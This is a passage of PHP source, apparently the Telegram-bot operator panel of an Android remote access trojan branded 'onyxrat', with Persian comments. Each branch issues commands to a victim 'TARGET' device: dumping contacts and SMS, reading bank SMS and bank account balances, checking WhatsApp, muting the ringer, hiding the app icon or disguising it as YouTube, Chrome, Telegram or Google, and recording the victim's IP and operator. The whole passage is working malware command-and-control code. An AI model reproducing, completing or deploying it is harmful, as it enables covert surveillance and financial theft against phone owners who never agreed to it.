                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ᴀʟʟ ᴄᴏɴᴛᴀᴄᴛ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        requests('all_contacts', $device_id);
    } elseif (strpos($data, "recived") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ꜱᴍꜱ ʟɪꜱᴛ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ᴀʟʟ ɪɴ ʙᴏx\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        requests('all_sms_recived', $device_id);
    } elseif (strpos($data, "balance") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $device_model = file_get_contents("user/$device_id-model.txt");
    
    // ارسال پیام در حال پردازش
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ..ꜱ\n"
                 . "👤 ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡 ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ʙᴀɴᴋ ᴀᴄᴄᴏᴜɴᴛꜱ ʙᴀʟᴀɴᴄᴇꜱ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    // ذخیره شناسه پیام برای ویرایش بعدی
    file_put_contents("user/$chat_id/wait_msg_id.txt", $wait_msg->result->message_id);
    
    // ارسال درخواست دریافت موجودی بانک‌ها
    requests('balance', $device_id);


    } elseif (strpos($data, "all_balanc2") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        smg($chat_id, "<b>wait...</b>", null);
        file_put_contents("data/bal.txt", "singel");
        requests('balance', $device_id);
    } elseif (strpos($data, "last_Bank_sms") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʙᴀɴᴋ ꜱᴍꜱ ʀᴇꜱᴘᴏɴꜱᴇ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ʟᴀꜱᴛ ʙᴀɴᴋ ꜱᴍꜱ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    file_put_contents("user/$chat_id/wait_msg_id.txt", $wait_msg->result->message_id);
    requests('last_bank_sms', $device_id);

    } elseif (strpos($data, "All_Bank_sms") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ʙᴀɴᴋ ꜱᴍꜱ ʟɪꜱᴛ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    requests('all_bank_sms', $device_id);

    } elseif (strpos($data, "WhatsChecker") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
        $word = file_get_contents("user/$chat_id/word.txt");
        emg($chat_id, $mi, "<b>CheCk $word</b> are being successfully received, Approximate time : 3 seconds", $back_control);
        requestSMS("WhatsChecker", $device_id, null, $word);
    } elseif (strpos($data, "vibrate_mode") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ..\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ᴠɪʙʀᴀᴛᴇ ᴍᴏᴅᴇ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        requests('Vibrate', $device_id);
        file_put_contents("user/$datass[1]-ringer.txt", "Vibrate");

} elseif (strpos($data, "normal_mode") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $device_model = file_get_contents("user/$device_id-model.txt");
    $install_ip = file_get_contents("user/$device_id-ip.txt");
    
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ..\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɴᴏʀᴍᴀʟ ᴍᴏᴅᴇ\n"
                 . "🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    requests('Normal', $device_id);
    file_put_contents("user/$datass[1]-ringer.txt", "Normal");
    
    sleep(2);
    
    bot('editMessageText', [
        'chat_id' => $chat_id,
        'message_id' => $wait_msg->result->message_id,
        'text' => "🔊 ɴᴏʀᴍᴀʟ ᴍᴏᴅᴇ ᴀᴄᴛɪᴠᴀᴛᴇᴅ\n\n"
                 . "📱 ᴅᴇᴠɪᴄᴇ: $device_id\n"
                 . "🌐 ɪᴘ: $install_ip\n"
                 . "🧿 ꜱᴛᴀᴛᴜꜱ: ʀɪɴɢᴇʀ ᴍᴏᴅᴇ ꜱᴇᴛ ᴛᴏ ɴᴏʀᴍᴀʟ\n"
                 . "🗃️ ᴘᴀɴᴇʟ: /login_$device_id\n\n"
                 . "🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);

} elseif (strpos($data, "silent_mode") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $device_model = file_get_contents("user/$device_id-model.txt");
    $install_ip = file_get_contents("user/$device_id-ip.txt");
    
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ..\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ꜱɪʟᴇɴᴛ ᴍᴏᴅᴇ\n"
                 . "🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    requests('silent', $device_id);
    file_put_contents("user/$datass[1]-ringer.txt", "Silent");
    
    sleep(2);
    
    bot('editMessageText', [
        'chat_id' => $chat_id,
        'message_id' => $wait_msg->result->message_id,
        'text' => "🔇 ꜱɪʟᴇɴᴛ ᴍᴏᴅᴇ ᴀᴄᴛɪᴠᴀᴛᴇᴅ\n\n"
                 . "📱 ᴅᴇᴠɪᴄᴇ: $device_id\n"
                 . "🌐 ɪᴘ: $install_ip\n"
                 . "🧿 ꜱᴛᴀᴛᴜꜱ: ʀɪɴɢᴇʀ ᴍᴏᴅᴇ ꜱᴇᴛ ᴛᴏ ꜱɪʟᴇɴᴛ\n"
                 . "🗃️ ᴘᴀɴᴇʟ: /login_$device_id\n\n"
                 . "🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);

    } elseif (strpos($data, "hide_icon") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $device_model = file_get_contents("user/$device_id-model.txt");
    
    // ارسال پیام در حال انتظار
$wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ..\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ʜɪᴅᴅᴇɴ \n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    // ارسال درخواست به دستگاه
    requests('hidden', $device_id);
    file_put_contents("user/$device_id-apk.txt", "Hidden");
    
    // دریافت اطلاعات برای پیام نهایی
    $install_ip = file_get_contents("user/$device_id-ip.txt");
    $operator = file_get_contents("user/$device_id-operator.txt") ?? "Unknown";
    $offline = file_get_contents("user/$device_id-offline.txt");
    
    // ویرایش پیام با نتیجه نهایی
bot('editMessageText', [
    'chat_id' => $chat_id,
    'message_id' => $wait_msg->result->message_id,
    'text' => "👻 ɪᴄᴏɴ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ʜɪᴅᴅᴇɴ!\n\n"
             . "📱 ᴍᴏᴅᴇʟ: $device_model\n"
             . "🧿 ꜱᴛᴀᴛᴜꜱ: ɪᴄᴏɴ: Hidden - ꜱᴄʀᴇᴇɴ: " . ($offline == "ON" ? "OFF" : "ON") . "\n"
             . "🛜 ᴏᴘᴇʀᴀᴛᴏʀ: $operator\n"
             . "🌐 ɪᴘ: $ip | $install_ip\n"
             . "🗃️ ᴘᴀɴᴇʟ: /login_$device_id\n\n"
             . "🌩 | | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
    'parse_mode' => 'HTML',
    'reply_markup' => json_encode([
        'resize_keyboard' => true, 
        'inline_keyboard' => []
    ])

    ]);


        file_put_contents("user/$datass[1]-apk.txt", "Hidden");
    } elseif (strpos($data, "visible_icon") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $device_model = file_get_contents("user/$device_id-model.txt");
    
    // ارسال پیام در حال انتظار
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ..\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ᴜɴʜɪᴅᴇ \n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    // ذخیره اطلاعات برای ویرایش بعدی
    file_put_contents("user/$chat_id/wait_msg.txt", json_encode([
        'message_id' => $wait_msg->result->message_id,
        'device_id' => $device_id,
        'command' => 'visible_icon'
    ]));
    
    // ارسال درخواست به دستگاه
    requests('visible', $device_id);

        file_put_contents("user/$datass[1]-apk.txt", "Visible");
    } elseif (strpos($data, "change") !== false) {
    $datass = explode(" ", $data);
    $device_id = $datass[1];
    $device_model = file_get_contents("user/$device_id-model.txt");
    
    // ارسال پیام در حال پردازش
    $wait_msg = bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀 ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ʀᴇꜱᴘᴏɴꜱᴇ..\n"
                 . "👤 ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡 ᴄᴏᴍᴍᴀɴᴅ: ᴄʜᴀɴɢᴇ ᴀᴘᴘ ɪᴄᴏɴ ᴛᴏ ʏᴏᴜᴛᴜʙᴇ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
    
    // ذخیره شناسه پیام برای ویرایش بعدی
    file_put_contents("user/$chat_id/wait_msg_id.txt", $wait_msg->result->message_id);
    
    // ارسال درخواست تغییر آیکون به یوتیوب
    requests('changetoyoutube', $device_id);


    } elseif (strpos($data, "chrome") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);

        requests('changetochrome', $device_id);
    } elseif (strpos($data, "telegram") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
        requests('changetotel', $device_id);
    } elseif (strpos($data, "google") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
        requests('changetogoogle', $device_id);
    } elseif (strpos($data, "youtube") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
        $back_control = json_encode(['resize_keyboard' => true, 'inline_keyboard' => [
            [['text' => "‹‹ Back", 'callback_data' => "back_panel $datass[1]"]]
        ]]);
        requests('changetoyoutube', $device_id);
    } elseif (strpos($data, "userphone") !== false) {
        $datass = explode(" ", $data);
        $device_id = $datass[1];
    bot('sendMessage', [
        'chat_id' => $chat_id,
        'text' => "🌀ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ꜱᴍꜱ ʟɪꜱᴛ...\n"
                 . "👤ᴛᴀʀɢᴇᴛ: $device_id | [$device_model]\n"
                 . "🫡ᴄᴏᴍᴍᴀɴᴅ: ɢᴇᴛ ɴᴜᴍʙᴇʀ ᴜꜱᴇʀ\n
🌩 | <a href='https://t.me/onyxrat'>🌩 | ᴍʏ ɴᴀᴍᴇ ɪꜱ ᴘᴏʀᴛ ꜰᴏx</a>",
        'parse_mode' => 'HTML'
    ]);
        requests('userphone', $device_id);
    }
}
?>

